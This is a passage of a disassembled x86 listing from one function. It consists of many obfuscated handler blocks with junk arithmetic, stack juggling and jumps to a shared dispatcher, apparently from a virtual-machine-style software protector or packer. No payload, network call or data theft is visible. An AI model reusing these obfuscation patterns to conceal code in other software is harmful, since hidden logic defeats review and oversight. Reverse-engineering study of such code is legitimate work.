[esp-20h+arg_16+2], ax mov al, 0D5h jmp loc_5851B0 ; --------------------------------------------------------------------------- loc_586CFF: ; CODE XREF: sub_580566+CE8Fj add esp, 4 sub esp, 4 jmp loc_585ED3 ; --------------------------------------------------------------------------- loc_586D0D: ; CODE XREF: sub_580566+D05Fj pop esp mov word ptr [esp-24h+arg_1A+2], cx movzx cx, al push cx pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_586D1E: ; CODE XREF: sub_580566+825Fj push ebp mov ebp, 4 add ebx, ebp pop ebp sub ebx, 4 jmp loc_58896D ; --------------------------------------------------------------------------- loc_586D2F: ; CODE XREF: sub_580566+FDB1j add ebp, ecx mov ecx, [esp-1Eh+arg_16] add esp, 4 xchg ebp, [esp-22h+arg_1A] pop esp or [esp+0], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_586D48: ; CODE XREF: sub_580566+8C58j push ebx mov ebx, 4AA676B2h dec ebx shr ebx, 7 dec ebx xor ebx, 23457A48h jmp loc_58DAB8 ; --------------------------------------------------------------------------- loc_586D5E: ; CODE XREF: sub_580566+DEF6j movzx eax, al mov dx, word ptr [esp-1Eh+arg_16] push esi mov esi, esp add esi, 4 sub esp, 4 jmp loc_58E6B0 ; --------------------------------------------------------------------------- loc_586D79: ; CODE XREF: sub_580566+B69Dj xor ecx, edi pop edi push ecx not [esp-16h+arg_E] mov ecx, [esp-16h+arg_E] add esp, 4 jmp loc_58B550 ; --------------------------------------------------------------------------- loc_586D8E: ; CODE XREF: sub_580566+FE0Dj add esi, ebp pop ebp add ebp, esi mov esi, [esp-1Eh+arg_16] jmp loc_58B430 ; --------------------------------------------------------------------------- loc_586D9B: ; CODE XREF: sub_580566+61DBj sub esi, 14020456h add esi, eax add esi, 14020456h jmp loc_58F1E6 ; --------------------------------------------------------------------------- loc_586DAE: ; CODE XREF: sub_580566+5ADBj mov dh, 0ADh sub bh, dh pop dx and cl, bh pop ebx inc cl jmp loc_589C67 ; --------------------------------------------------------------------------- loc_586DBE: ; CODE XREF: sub_580566+7BEEj xchg esi, [esp-36h+arg_2C+2] pop esp mov [esp-3Ah+arg_30+2], ecx jmp loc_586FC2 ; --------------------------------------------------------------------------- loc_586DCA: ; CODE XREF: sub_580566+60E7j pop esp jmp loc_58B6BD ; --------------------------------------------------------------------------- loc_586DD0: ; CODE XREF: sub_580566+85DBj pop ecx jmp loc_58DECB ; --------------------------------------------------------------------------- loc_586DD6: ; DATA XREF: sub_580566+3E8Eo mov ecx, [esp-30h+arg_28] sub esp, 4 mov [esp-2Ch+arg_24], esi mov esi, esp push eax jmp loc_58FF63 ; --------------------------------------------------------------------------- loc_586DEA: ; CODE XREF: sub_580566+EEBDj mov ecx, [esp-28h+arg_20] add esp, 4 sub esp, 4 mov [esp-28h+arg_20], ebx mov ebx, esp push ebp mov ebp, 4 jmp loc_584DC3 ; --------------------------------------------------------------------------- loc_586E03: ; CODE XREF: sub_580566+63E8j add edi, 4 add edi, 4 xchg edi, [esp-30h+arg_28] pop esp push 2D38h mov [esp-30h+arg_28], edx mov edx, esp jmp loc_58923A ; --------------------------------------------------------------------------- loc_586E22: ; CODE XREF: sub_580566+4A3Dj mov edx, 0D179DEFDh sub ecx, edx pop edx add ebx, ecx pop ecx push esi mov esi, 49954199h add esi, 7D5921B9h not esi shl esi, 3 jmp loc_589821 ; --------------------------------------------------------------------------- loc_586E43: ; CODE XREF: sub_580566+438Dj mov ecx, [esp-8+arg_4] add esp, 4 add eax, 5ADD58A9h jmp loc_589F33 ; --------------------------------------------------------------------------- loc_586E56: ; CODE XREF: sub_580566+899Fj or ah, 0F1h push cx mov cl, 94h add ah, cl pop cx xor ah, 94h sub bl, ah mov eax, [esp-0Ch+arg_8] add esp, 4 sub bl, al add bl, 1Dh push cx mov cl, 2Bh sub bl, cl mov cx, word ptr [esp-0Eh+arg_8+2] push edi mov edi, esp add edi, 4 jmp loc_58740D ; --------------------------------------------------------------------------- loc_586E89: ; CODE XREF: sub_580566+7523j push ebx mov ebx, 4B9D2FB3h push 644Eh mov [esp+0], ebp mov ebp, 33E36CC7h add eax, 4FAD2A21h jmp loc_587477 ; --------------------------------------------------------------------------- loc_586EA6: ; CODE XREF: sub_580566+DA5Ej add esp, 4 add eax, ebp mov ebp, [esp+0] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp+0] jmp loc_58F345 ; --------------------------------------------------------------------------- loc_586ECD: ; CODE XREF: sub_580566+BF11j jmp loc_584473 ; --------------------------------------------------------------------------- loc_586ED2: ; CODE XREF: sub_580566+EEF9j pop eax add ebp, 4 jmp loc_589B58 ; --------------------------------------------------------------------------- loc_586EDE: ; CODE XREF: sub_580566+A26Bj shl ebx, 8 jmp loc_588751 ; --------------------------------------------------------------------------- loc_586EE6: ; CODE XREF: sub_580566+E6C1j add [esp-0Ah+arg_4+2], 4 pop ebp add ebp, 4 push 72D8h mov [esp-0Ah+arg_4+2], ebx mov ebx, 4 push ebx mov ebx, 2B8A354Ch not ebx xor ebx, 662C77D8h and ebx, 60AD4ADCh sub ebx, 0F8DD913Dh add ebp, ebx pop ebx jmp loc_5866F0 ; --------------------------------------------------------------------------- loc_586F20: ; CODE XREF: sub_580566+A5B9j or dh, 4Fh and dh, 6Eh add dh, 0FEh push ebx mov bl, 0C0h jmp loc_589F3A ; --------------------------------------------------------------------------- loc_586F31: ; CODE XREF: sub_580566+48D7j pop ecx jmp loc_587F58 ; --------------------------------------------------------------------------- loc_586F37: ; CODE XREF: sub_580566+D96Aj push ebx mov bl, 0ADh jmp loc_58D1D5 ; --------------------------------------------------------------------------- loc_586F3F: ; CODE XREF: sub_580566+DECCj add ebp, 84B1E793h add [esp+18h+var_14], ebp pop ebp jmp loc_58D9EA ; --------------------------------------------------------------------------- loc_586F4F: ; CODE XREF: sub_580566+65E6j mov ebp, 10650EF0h jmp loc_586298 ; --------------------------------------------------------------------------- loc_586F59: ; CODE XREF: sub_580566+895Dj push ebx jmp loc_59026F ; --------------------------------------------------------------------------- loc_586F5F: ; CODE XREF: sub_580566+FF6Bj pop ebp sub [esp+8], edi pop edi pop ebp pop dword ptr [edi+40h] add dword ptr [edi+40h], 26DD18BAh jmp loc_588FF8 ; --------------------------------------------------------------------------- loc_586F75: ; CODE XREF: sub_580566+D75Fj sub eax, 2F69A033h add edi, eax pop eax add edi, 4 xchg edi, [esp-0Ch+arg_8] pop esp add esp, 4 jmp loc_58CFC3 ; --------------------------------------------------------------------------- loc_586F8F: ; CODE XREF: sub_580566+76FCj mov eax, 52A85972h jmp loc_587C20 ; --------------------------------------------------------------------------- loc_586F99: ; CODE XREF: sub_580566+FC48j mov edx, ebx mov ebx, [esp-14h+arg_A+2] push eax mov eax, esp push edi mov edi, 7977331Dh sub edi, 1 jmp loc_58FF11 ; --------------------------------------------------------------------------- loc_586FB2: ; CODE XREF: sub_580566+F5D3j or edx, ebx mov ebx, [esp-0Ch+arg_8] add esp, 4 jmp loc_58C262 ; --------------------------------------------------------------------------- loc_586FC2: ; CODE XREF: sub_580566+685Fj push esp jmp loc_58650D ; --------------------------------------------------------------------------- loc_586FC8: ; CODE XREF: sub_580566+D945j add eax, 4 jmp loc_58BBCF ; --------------------------------------------------------------------------- loc_586FD2: ; CODE XREF: sub_580566+100C7j pop ecx xchg ebx, [esp-3Ah+arg_30+2] jmp loc_58AF81 ; --------------------------------------------------------------------------- loc_586FDB: ; CODE XREF: sub_580566+F766j or byte ptr [esp-3Ah+arg_30+2], al pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_586FE4: ; CODE XREF: sub_580566+AE76j add esp, 4 pop [esp-3Ah+arg_30+2] mov esp, [esp-3Eh+arg_34+2] mov word ptr [esp-3Eh+arg_34+2], ax jmp loc_584473 ; --------------------------------------------------------------------------- loc_586FF6: ; CODE XREF: sub_580566+57F6j or edx, eax shl edx, 1 push ecx jmp loc_58B0E5 ; --------------------------------------------------------------------------- loc_587000: ; CODE XREF: sub_580566+95C0j mov dx, [esp+0] jmp loc_58663E ; --------------------------------------------------------------------------- loc_587009: ; CODE XREF: sub_580566+D55Bj pop ebx or ebx, eax mov eax, [esp+0] add esp, 4 add ebx, 8808DACBh push 4944h mov [esp+0], esi mov esi, ebx jmp loc_58C63F ; --------------------------------------------------------------------------- loc_587027: ; CODE XREF: sub_580566+BF5Aj and ch, al pop eax dec ch push dx mov dl, 81h add ch, dl pop dx jmp loc_58D6D1 ; --------------------------------------------------------------------------- loc_587039: ; CODE XREF: sub_580566+9EE1j push 6DD8h mov [esp+0], ebx push esp pop ebx push ecx mov ecx, 70175055h sub ecx, 70175051h jmp loc_584F44 ; --------------------------------------------------------------------------- loc_587054: ; CODE XREF: sub_580566+E5C7j pop ebx add ebx, ecx jmp loc_590137 ; --------------------------------------------------------------------------- loc_58705C: ; CODE XREF: sub_580566+A81Aj mov [esp+0], edx push esp jmp loc_587C9B ; --------------------------------------------------------------------------- loc_587065: ; CODE XREF: sub_580566+C024j sub edi, ecx mov ecx, [esp+0] add esp, 4 jmp locret_58D600 ; --------------------------------------------------------------------------- loc_587075: ; CODE XREF: sub_580566+9766j push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp+0] jmp loc_5903DD ; --------------------------------------------------------------------------- loc_58708E: ; CODE XREF: sub_580566+DF75j inc edi neg edi shl edi, 6 shr edi, 5 xor edi, 61ABD6ACh mov ecx, edi pop edi shl ecx, 7 jmp loc_587EC0 ; --------------------------------------------------------------------------- loc_5870A8: ; CODE XREF: sub_580566+96C3j add eax, ebx push edi push ebx mov ebx, 72457FADh mov edi, ebx pop ebx jmp loc_59038E ; --------------------------------------------------------------------------- loc_5870B9: ; CODE XREF: sub_580566+F10Dj mov dh, 0B1h add dh, 0A0h add dh, 0Fh sub bl, dh mov edx, [esp+0] add esp, 4 movzx eax, al push dword ptr [edi+eax*4] push esi push edi push edx jmp loc_58DAC6 ; --------------------------------------------------------------------------- loc_5870DA: ; CODE XREF: sub_580566+B2A1j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_584473 ; --------------------------------------------------------------------------- loc_5870E6: ; CODE XREF: sub_580566+945Aj not esi jmp loc_585241 ; --------------------------------------------------------------------------- loc_5870ED: ; CODE XREF: sub_580566+652Fj push [esp-28h+arg_20] pop esi push 7810h mov [esp-24h+arg_1A+2], esi push esp mov esi, [esp-20h+arg_16+2] add esp, 4 add esi, 4 push ebp mov ebp, 4 sub esi, 74AA179Ah add esi, ebp add esi, 74AA179Ah pop ebp xor esi, [esp-24h+arg_1A+2] xor [esp-24h+arg_1A+2], esi xor esi, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] jmp loc_58894E ; --------------------------------------------------------------------------- loc_58712C: ; DATA XREF: sub_580566+3DA2o lodsd xor eax, ebx jmp loc_584F6E ; --------------------------------------------------------------------------- loc_587134: ; CODE XREF: sub_580566+CAAAj mov ah, dh mov ch, ah pop eax pop edx jmp loc_58FA1B ; --------------------------------------------------------------------------- loc_58713F: ; CODE XREF: sub_580566+B613j neg edx shl edx, 8 shl edx, 5 add edx, 0A9D70002h mov eax, edx pop edx add edx, 584378E0h add edx, 6BB50099h jmp loc_58D02D ; --------------------------------------------------------------------------- loc_587161: ; CODE XREF: sub_580566+DABCj pop esp mov [esp-40h+arg_38], ebp push 1 pop ebp and eax, ebp mov ebp, [esp-40h+arg_38] sub esp, 4 mov [esp-3Ch+arg_34], edx mov edx, esp jmp loc_58E6FC ; --------------------------------------------------------------------------- loc_587180: ; DATA XREF: sub_580566+3E22o mov sp, word ptr [esp-30h+arg_28] jmp loc_58DCF3 ; --------------------------------------------------------------------------- loc_587189: ; DATA XREF: sub_580566+3DD6o mov cx, word ptr [esp-30h+arg_28] push ecx mov ecx, esp sub esp, 4 mov [esp-28h+arg_20], eax mov eax, 4 jmp loc_5854CF ; --------------------------------------------------------------------------- loc_5871A3: ; CODE XREF: sub_580566+50AAj mov ebp, [esp+0] add esp, 4 xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] pop esp jmp loc_58475E ; --------------------------------------------------------------------------- loc_5871B8: ; CODE XREF: sub_580566+A083j push eax push esi jmp loc_58A998 ; --------------------------------------------------------------------------- loc_5871BF: ; DATA XREF: sub_580566+3DAAo mov cx, word ptr [esp-30h+arg_28] push 6946h mov [esp-2Ch+arg_24], esi mov esi, esp push edx mov edx, 4 sub esi, 214F6674h add esi, edx push ebx jmp loc_58B5D5 ; --------------------------------------------------------------------------- loc_5871E1: ; CODE XREF: sub_580566+7299j add edi, 0D73FDEDEh add ecx, edi pop edi add ecx, 4 jmp loc_584F3C ; --------------------------------------------------------------------------- dw 2489h ; --------------------------------------------------------------------------- and al, 56h mov esi, 4 add [esp-28h+arg_24], esi pop esi mov edx, [esp-2Ch+arg_24] push 4577h mov [esp-28h+arg_20], edx jmp loc_58F428 ; --------------------------------------------------------------------------- loc_587210: ; CODE XREF: sub_580566+FAB3j add esp, 4 mov eax, [esp-2Ch+arg_24] jmp loc_58FDD8 ; --------------------------------------------------------------------------- loc_58721E: ; CODE XREF: sub_580566+D21Aj mov ebp, 610D0AF7h jmp loc_58F5DB ; --------------------------------------------------------------------------- loc_587228: ; CODE XREF: sub_580566+C5EAj push ecx push [esp-28h+arg_24] pop ecx pop [esp-28h+arg_20] pop esp add esp, 4 push 2669h mov [esp-30h+arg_28], edi push 0B7Eh mov [esp-2Ch+arg_24], ebp mov ebp, 320F41C1h mov edi, 0CDF1BE3Fh add edi, ebp pop ebp and eax, edi jmp loc_588AEA ; --------------------------------------------------------------------------- loc_58725C: ; CODE XREF: sub_580566+5FC1j mov ecx, [esp+0] add esp, 4 add esp, 4 or eax, eax jz loc_5891C3 push dword ptr [edi+28h] jmp loc_584693 ; --------------------------------------------------------------------------- loc_58727B: ; CODE XREF: sub_580566+A588j add ah, 0E0h sub bl, 0C3h add bl, ah jmp loc_585F9B ; --------------------------------------------------------------------------- loc_587288: ; CODE XREF: sub_580566+9C7Aj add esp, 4 add edi, 4 add edi, 4 jmp loc_5892BA ; --------------------------------------------------------------------------- loc_58729C: ; CODE XREF: sub_580566+B672j mov esp, [esp-18h+arg_E+2] jmp loc_585E49 ; --------------------------------------------------------------------------- loc_5872A4: ; CODE XREF: sub_580566+C98Aj add esp, 4 xor ecx, 443E4530h jmp loc_588B99 ; --------------------------------------------------------------------------- loc_5872B2: ; CODE XREF: sub_580566+AC3Aj add esp, 4 push small 62CBh mov word ptr [esp-1Eh+arg_16], bx jmp loc_58A158 ; --------------------------------------------------------------------------- loc_5872C5: ; CODE XREF: sub_580566+B40Cj xchg ebx, [esp-1Eh+arg_16] mov esp, [esp-1Eh+arg_16] and eax, ebx push [esp-1Eh+arg_16] pop ebx add esp, 4 shr eax, 18h xor eax, ecx jmp loc_58574C ; --------------------------------------------------------------------------- loc_5872E1: ; CODE XREF: sub_580566+5C1Aj push 7975h mov [esp-30h+arg_28], ebx jmp loc_58A5EE ; --------------------------------------------------------------------------- loc_5872EE: ; CODE XREF: sub_580566+54B1j push 22A5h jmp loc_584B5F ; --------------------------------------------------------------------------- loc_5872F8: ; CODE XREF: sub_580566+BE80j ; sub_580566+D081j push ecx jmp loc_58FF73 ; --------------------------------------------------------------------------- loc_5872FE: ; CODE XREF: sub_580566+445Ej add esp, 4 push 6513h mov [esp-24h+arg_1A+2], esi mov esi, esp add esi, 4 jmp loc_58F372 ; --------------------------------------------------------------------------- loc_587319: ; CODE XREF: sub_580566+838Bj sub al, dh add al, 0B9h mov edx, [esp-24h+arg_1A+2] add esp, 4 push edx mov dh, 3Fh add al, dh pop edx add al, bl sub al, 3Fh add al, 0F4h jmp loc_58BCE3 ; --------------------------------------------------------------------------- loc_587334: ; CODE XREF: sub_580566+90E3j mov eax, esp push esi mov esi, 4 add eax, esi pop esi jmp loc_58F290 ; --------------------------------------------------------------------------- loc_587344: ; CODE XREF: sub_580566+5DDCj pop [esp-2Ch+arg_24] pop esp div cl movzx cx, ah push small 74C2h mov word ptr [esp-32h+arg_28+2], cx movzx cx, al push cx pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_587362: ; CODE XREF: sub_580566+D382j add ecx, ebp pop ebp add ecx, 2 jmp loc_58806C ; --------------------------------------------------------------------------- loc_58736D: ; CODE XREF: sub_580566+7ECEj add ecx, esi mov esi, [esp-30h+arg_28] add esp, 4 not ecx shr ecx, 2 xor ecx, 1B1E543Bh add ecx, 30DD43EAh sub esi, ecx pop ecx and esi, 62A221C8h push eax mov eax, 0FFFFFFFFh sub esi, eax pop eax xor esi, 20A0214Bh sub edx, esi pop esi xchg edx, [esp-3Ch+arg_34] pop esp mov word ptr [esp-40h+arg_38], dx push ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_5873B4: ; CODE XREF: sub_580566+5FEDj sub eax, ebx jmp loc_58F1CC ; --------------------------------------------------------------------------- loc_5873BB: ; CODE XREF: sub_580566+80E2j mov cl, 0C5h sub al, 39h add al, cl jmp loc_58EFEA ; --------------------------------------------------------------------------- loc_5873C6: ; CODE XREF: sub_580566+859Cj push edi mov edi, 4 add ecx, edi pop edi xchg ecx, [esp-1Ch+arg_12+2] mov esp, [esp-1Ch+arg_12+2] add esp, 4 shr eax, 10h xor eax, ecx jmp loc_58B116 ; --------------------------------------------------------------------------- loc_5873E5: ; CODE XREF: sub_580566+9AF4j push ebx push [esp-1Ch+arg_16+2] pop ebx pop [esp-1Ch+arg_12+2] mov esp, [esp-20h+arg_16+2] push edx mov edx, esp add edx, 4 jmp loc_58D1BF ; --------------------------------------------------------------------------- loc_5873FF: ; CODE XREF: sub_580566+528Dj pop ecx push 680h mov [esp+0], edx jmp loc_590170 ; --------------------------------------------------------------------------- loc_58740D: ; CODE XREF: sub_580566+691Ej add edi, 2 xchg edi, [esp-0Ah+arg_4+2] pop esp push cx mov ch, 1Eh sub bl, 4Ah add bl, ch add bl, 4Ah pop cx movzx eax, al jmp loc_58EF6A ; --------------------------------------------------------------------------- loc_58742A: ; CODE XREF: sub_580566+5FD5j xor [esp-18h+arg_E+2], eax jmp loc_58D67D ; --------------------------------------------------------------------------- loc_587432: ; CODE XREF: sub_580566+D3C5j mov ebp, 4 add eax, ebp mov ebp, [esp-18h+arg_E+2] push ebp mov ebp, esp push eax mov eax, 628068EDh add eax, 41313899h and eax, 20E03ECDh add eax, 0DF5FDF80h jmp loc_58FBE5 ; --------------------------------------------------------------------------- loc_587459: ; CODE XREF: sub_580566+7644j push ebx mov bh, 95h xor bh, 0F3h sub dh, 0AAh sub dh, 0C0h jmp loc_584D2F ; --------------------------------------------------------------------------- loc_58746A: ; CODE XREF: sub_580566+4172j and edi, 7761142Eh not edi jmp loc_58A7A4 ; --------------------------------------------------------------------------- loc_587477: ; CODE XREF: sub_580566+693Bj sub eax, ebp jmp loc_5867C6 ; --------------------------------------------------------------------------- loc_58747E: ; CODE XREF: sub_580566+43D4j inc ah xor ah, 0C4h sub cl, ah push dword ptr [esp+0] jmp loc_58A080 ; --------------------------------------------------------------------------- loc_58748D: ; CODE XREF: sub_580566+44CFj mov [esp-2Ch+arg_24], esi push 179h mov [esp-28h+arg_20], esp add [esp-28h+arg_20], 4 pop esi push 6E90h mov [esp-28h+arg_20], edx mov edx, 4 add esi, 0B18572Dh add esi, edx sub esi, 0B18572Dh mov edx, [esp-28h+arg_20] add esp, 4 add esi, 2 sub esp, 4 mov [esp-28h+arg_20], esi push [esp-28h+arg_24] jmp loc_58C1AA ; --------------------------------------------------------------------------- loc_5874D3: ; CODE XREF: sub_580566+ABABj pop si sub si, 310Dh jmp loc_588C9C ; --------------------------------------------------------------------------- loc_5874DF: ; CODE XREF: sub_580566+7041j mov [esp+0], esi push ebx mov ebx, 6CC8131Eh shr ebx, 3 not ebx shr ebx, 1 sub ebx, 1AD759Fh mov esi, ebx jmp loc_587DAE ; --------------------------------------------------------------------------- loc_5874FC: ; CODE XREF: sub_580566+C6F5j mov eax, [esp-22h+arg_1A] jmp loc_58DEDD ; --------------------------------------------------------------------------- loc_587504: ; CODE XREF: sub_580566+8807j add esp, 4 mov edx, 10032F26h xor edx, ebp pop ebp push 2230h mov [esp+0], edi jmp loc_59070D ; --------------------------------------------------------------------------- loc_58751C: ; CODE XREF: sub_580566+8140j mov eax, [esp+0] jmp loc_5867B9 ; --------------------------------------------------------------------------- loc_587524: ; CODE XREF: sub_580566+600Bj mov eax, [esp-20h+arg_16+2] jmp loc_58E5D3 ; --------------------------------------------------------------------------- loc_58752C: ; CODE XREF: sub_580566+ED7Bj mov esi, edi pop edi shl esi, 6 xor esi, 69D5290Ah dec esi sub esi, 6FB31DECh add esi, 0E538AD87h xor ecx, esi jmp loc_584CB1 ; --------------------------------------------------------------------------- loc_58754C: ; CODE XREF: sub_580566+656Dj add esp, 4 jmp loc_58C9FA ; --------------------------------------------------------------------------- loc_587554: ; CODE XREF: sub_580566+9DD0j mov ah, ch mov ch, byte ptr [esp-38h+arg_34] mov byte ptr [esp-38h+arg_34], ah push [esp-38h+arg_30] pop eax jmp loc_58A612 ; --------------------------------------------------------------------------- loc_587567: ; CODE XREF: sub_580566+B938j push 800h pop ecx and eax, ecx jmp loc_58BC14 ; --------------------------------------------------------------------------- loc_587574: ; CODE XREF: sub_580566+D801j add eax, 60AB68C6h sub eax, 232E5243h add eax, edi add eax, 232E5243h sub eax, 60AB68C6h jmp loc_589E22 ; --------------------------------------------------------------------------- loc_58758F: ; CODE XREF: sub_580566+DF1Fj shl ch, 2 push edx push ecx mov cl, 0C3h shl cl, 6 or cl, 7Dh add cl, 45h jmp loc_586B64 ; --------------------------------------------------------------------------- loc_5875A4: ; CODE XREF: sub_580566+4C98j sub esp, 4 jmp loc_5874DF ; --------------------------------------------------------------------------- loc_5875AC: ; CODE XREF: sub_580566+B133j push [esp+0Ah+var_8+2] jmp loc_58FE24 ; --------------------------------------------------------------------------- loc_5875B5: ; CODE XREF: sub_580566+D3CDj mov ecx, [esp+0Eh+var_10+2] sub esp, 4 mov [esp+12h+var_14+2], ebp mov ebp, esp push eax mov eax, 374C33A3h add eax, 1CC12A79h shr eax, 4 shl eax, 3 jmp loc_58B922 ; --------------------------------------------------------------------------- loc_5875D9: ; CODE XREF: sub_580566+5383j push 4081h mov [esp-24h+arg_1A+2], edx push 28EEh mov [esp-20h+arg_16+2], ebx mov ebx, 789E3722h mov edx, 25166E1Eh xor edx, ebx pop ebx add eax, edx pop edx jmp loc_58B47D ; --------------------------------------------------------------------------- loc_5875FE: ; CODE XREF: sub_580566+C87Fj dec ebp push esi mov esi, 1A8F1311h add ebp, esi pop esi add edi, ebp jmp loc_584620 ; --------------------------------------------------------------------------- loc_58760F: ; CODE XREF: sub_580566+BCF7j mov ebp, esi pop esi mov eax, ebp pop ebp jmp loc_585FA4 ; --------------------------------------------------------------------------- loc_58761A: ; CODE XREF: sub_580566+FBBAj mov edx, [esp-30h+arg_28] push ecx jmp loc_5893E0 ; --------------------------------------------------------------------------- loc_587623: ; CODE XREF: sub_580566+5EFCj sub dl, bl pop ebx pop eax shl dl, 7 add dl, 12h jmp loc_584BEB ; --------------------------------------------------------------------------- loc_587632: ; CODE XREF: sub_580566+C8BEj xor eax, 12D86D98h add eax, 0AED3239Ah sub ecx, eax pop eax add ecx, 0FFFFFFFFh add ecx, 6CBFA3D1h push eax mov eax, 0EDC7F700h sub ecx, eax pop eax sub eax, 13A6343Dh sub eax, ecx add eax, 13A6343Dh pop ecx push 458h jmp loc_587CEC ; --------------------------------------------------------------------------- loc_587668: ; CODE XREF: sub_580566+A7C9j sub esp, 4 mov [esp-28h+arg_20], edi jmp loc_5892E6 ; --------------------------------------------------------------------------- loc_587673: ; CODE XREF: sub_580566+57B1j push ebx mov ebx, 58B07C6Fh sub ebx, 27785586h add ebx, 62182E0Ah sub ebx, 0A5F74B3h sub ebx, 6EC640A8h add ebx, 0E86BCA98h push ebx xchg eax, [esp+4+var_4] not eax jmp loc_58ED61 ; --------------------------------------------------------------------------- loc_5876A2: ; CODE XREF: sub_580566+C794j or edx, 4AEC545Fh sub edx, 89BFE7D1h xor edi, edx pop edx shr edi, 2 add edi, 1C66391Ch add edi, 0C649AF3Dh add ebx, edi jmp loc_58C220 ; --------------------------------------------------------------------------- loc_5876C7: ; CODE XREF: sub_580566+658Cj sub ebx, 71A668DCh jmp loc_58C7A9 ; --------------------------------------------------------------------------- loc_5876D2: ; DATA XREF: sub_580566+3DD2o mov cx, word ptr [esp-30h+arg_28] sub esp, 4 mov [esp-2Ch+arg_24], edi push 1196h mov [esp-28h+arg_20], esp add [esp-28h+arg_20], 4 jmp loc_58A3FE ; --------------------------------------------------------------------------- loc_5876F3: ; CODE XREF: sub_580566+9522j mov esi, 583541C1h sub esi, 40920CD8h or esi, 5277846h add esi, 87340CDh shr esi, 8 shr esi, 7 and esi, 42987D32h sub esi, 0EC5DFE12h mov edx, esi pop esi dec edx or edx, 559E38EDh shl edx, 2 xor edx, 2AC6322Fh jmp loc_58AA6A ; --------------------------------------------------------------------------- loc_587734: ; CODE XREF: sub_580566+D044j pop ebx neg dl jmp loc_58DC27 ; --------------------------------------------------------------------------- loc_58773C: ; CODE XREF: sub_580566+E766j push 5FF5h mov [esp-2Ch+arg_24], ecx push ebp mov ebp, 661D37C4h push ecx mov ecx, 5DAF53F6h sub ebp, ecx pop ecx sub ebp, 20D80893h push esi mov esi, 47FB76DDh or ebp, esi pop esi dec ebp add ebp, 91386FC4h and ebp, 2E184C89h sub ebp, 13693946h jmp loc_58FB4E ; --------------------------------------------------------------------------- loc_58777A: ; CODE XREF: sub_580566+7E99j pop esi jmp loc_58B610 ; --------------------------------------------------------------------------- loc_587780: ; CODE XREF: sub_580566+4BC8j xor [esp-18h+arg_E+2], esi xor esi, [esp-18h+arg_E+2] mov esp, [esp-18h+arg_E+2] push 738h mov [esp-14h+arg_A+2], ecx mov cl, dl push 5D54h mov [esp+0], edx jmp loc_58F6F1 ; --------------------------------------------------------------------------- loc_5877A0: ; CODE XREF: sub_580566+D4ABj push ebx push edx mov dl, 26h jmp loc_58D785 ; --------------------------------------------------------------------------- loc_5877A9: ; DATA XREF: sub_580566+3C9Eo mov cx, [esp+0] push ecx mov ecx, esp add ecx, 4 push esi mov esi, 11525DC9h add esi, 2DE72366h add esi, 0E5B1AFFh push edi jmp loc_58C4DD ; --------------------------------------------------------------------------- loc_5877CE: ; CODE XREF: sub_580566+CA47j xor [esp+8+var_8], ebx xor ebx, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+8+var_8], ebx jmp loc_587EB0 ; --------------------------------------------------------------------------- loc_5877DF: ; CODE XREF: sub_580566+53E5j add ebx, 4 jmp loc_587828 ; --------------------------------------------------------------------------- loc_5877EA: ; CODE XREF: sub_580566+8428j add ebp, 6D63AF7h sub ebp, 50F227A8h xor ebp, 0D64EB7BDh and edi, ebp pop ebp jmp loc_5871E1 ; --------------------------------------------------------------------------- loc_587804: ; CODE XREF: sub_580566+7DCFj mov [esp-8+arg_4], edx mov dl, 0F9h push ebx jmp loc_587FFB ; --------------------------------------------------------------------------- loc_58780F: ; CODE XREF: sub_580566+DF45j mov ecx, [esp+0] push ebp jmp loc_58E502 ; --------------------------------------------------------------------------- loc_587818: ; CODE XREF: sub_580566+BB53j mov ecx, 3E1E53F8h add ecx, 0C1E1A807h jmp loc_58E984 ; --------------------------------------------------------------------------- loc_587828: ; CODE XREF: sub_580566+727Fj add ebx, 4 jmp loc_589A38 ; --------------------------------------------------------------------------- loc_587833: ; CODE XREF: sub_580566+4B34j mov ebp, 4 sub ecx, 4D976524h add ecx, ebp add ecx, 4D976524h jmp loc_588D23 ; --------------------------------------------------------------------------- loc_58784B: ; CODE XREF: sub_580566+B8B3j push ecx push 7EA8h mov [esp+0], ebp mov ebp, 0E480497h push ebx mov ebx, 45744F4Ah add ebp, ebx pop ebx xor ebp, 5B210405h jmp loc_589CD1 ; --------------------------------------------------------------------------- loc_58786D: ; CODE XREF: sub_580566+B3D1j add edi, eax pop eax xchg edi, [esp-14h+arg_A+2] jmp loc_58EED2 ; --------------------------------------------------------------------------- loc_587878: ; CODE XREF: sub_580566+7E74j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] jmp loc_58E6CA ; --------------------------------------------------------------------------- loc_58788C: ; CODE XREF: sub_580566+C9D6j add esi, 4 push eax push esi mov esi, 0B4C2D3Eh jmp loc_58F8C7 ; --------------------------------------------------------------------------- loc_58789E: ; DATA XREF: sub_580566+3D72o mov cx, word ptr [esp-30h+arg_28] push 14E0h mov [esp-2Ch+arg_24], edi sub esp, 4 push esp pop [esp-24h+arg_1A+2] add [esp-28h+arg_20], 4 mov edi, [esp-28h+arg_20] jmp loc_58A7B0 ; --------------------------------------------------------------------------- loc_5878C0: ; CODE XREF: sub_580566+BA17j add eax, 30BE5F25h add eax, edi sub esp, 4 mov [esp-24h+arg_1A+2], edx mov edx, 30BE5F25h sub eax, edx pop edx push dword ptr [eax] pop ecx mov eax, [esp-28h+arg_20] push edi push esp pop edi add edi, 4 jmp loc_585B8F ; --------------------------------------------------------------------------- loc_5878EC: ; CODE XREF: sub_580566+DF68j sub bl, 4Eh jmp loc_58C215 ; --------------------------------------------------------------------------- loc_5878F4: ; CODE XREF: sub_580566+88DEj sub eax, 4D444BCEh pop edi jmp loc_586540 ; --------------------------------------------------------------------------- loc_5878FF: ; CODE XREF: sub_580566+C74Fj mov ecx, 21B27447h shl ecx, 1 inc ecx inc ecx jmp loc_58BD12 ; --------------------------------------------------------------------------- loc_58790D: ; CODE XREF: sub_580566+9D18j add [esp-28h+arg_20], 2C861353h jmp loc_589F8F ; --------------------------------------------------------------------------- 